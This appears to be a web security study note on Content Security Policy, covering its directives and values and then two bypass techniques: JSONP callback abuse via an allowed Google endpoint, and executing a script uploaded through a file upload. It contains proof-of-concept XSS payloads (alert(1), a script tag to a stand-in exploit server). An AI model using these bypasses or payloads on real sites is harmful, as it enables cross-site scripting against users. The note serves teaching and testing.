Content Security Policies#

A CSP:

  • Is configured in the Content-Security-Policy response header
  • Consists of multiple directives. Each directive allows one or more values.

For instance, the script-src directive defines where JavaScript can be loaded and executed from:

Content-Security-Policy: script-src 'self' https://benignsite.htb

This CSP instructs the browser to load JavaScript only from the same origin as the page itself and the external origin https://benignsite.htb. Therefore, if an attacker injects the following JavaScript code in an XSS payload, the victim’s browser will not load the script and thus not execute it:

<script src="https://exploitserver.htb/pwn.js"></script>

However, the following scripts are allowed to load and execute:

<script src="/js/useful.js"></script>
<script src="https://benignsite.htb/main.js"></script>

Furthermore, since the unsafe-inline value is not specified, it blocks all inline scripts (scripts inside HTML). Therefore, the following potential XSS payloads are all blocked and thus not executed:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<a href="javascript:alert(1)">click</a>

Additionally, there are other common directives:

  • style-src: allowed origins for stylesheets
  • img-src: allowed origins for images
  • object-src: allowed origins for objects such as <object> or <embed>
  • connect-src: allowed origins for HTTP requests from scripts. For instance, using XMLHttpRequest
  • default-src: fallback value if a different directive is not explicitly set. For instance, if the img-src is not present in the CSP, the browser will use this value instead for images
  • frame-ancestors: origins allowed to frame the page, for instance, in an <iframe>. This directive can be used to prevent Clickjacking attacks
  • form-action: origins allowed for form submissions

For additional CSP directives, check out the list provided here.

Additional values for directives include:

  • *: All origins are allowed
  • 'none': No origins are allowed
  • *.benignsite.htb: All subdomains of benignsite.htb are allowed
  • unsafe-inline: Allow inline elements
  • unsafe-eval: Allow dynamic code evaluation, such as JavaScript’s eval function
  • sha256-407e1bf4a1472948aa7b15cafa752fcf8e90710833da8a59dd8ef8e7fe56f22d: Allow an element by hash
  • nonce-S0meR4nd0mN0nC3: Allow an element by nonce

For additional CSP directive values, check out the list provided here.

Bypass Content Security Policies#

Suppose this is the CSP. It only allows js from the webapp or from google.com and every of its subdomains

Content-Security-policy: default-src 'self'; script-src 'self' https://*.google.com;

JSONP#

JSONP refers to a technique that retrieves data across different origins by using script tags to retrieve data across origins, as they are exempt from the Same-Origin Policy

The basic of this attack is, we will fetch a API endpoint where it is allowed in the CSP, like https://accounts.google.com/o/oauth2/revoke

{
  "error": "invalid_request",
  "error_description": "Bad Request"
}

If the API supports JSONP, it will read a GET parameter and adjust the response accordingly. This parameter is often called callback. Assume we call the endpoint https://accounts.google.com/o/oauth2/revoke?callback=alert(1). This results in the API sending the following response:

// API callback
alert(1)({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
});

So now we can just bypass CSP with this <script> tag

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

Arbitrary File upload#

More on this on File Upload

We can just upload a js file like upload.pdf.js and call it

<script src="/uploads/upload.pdf.js"></script>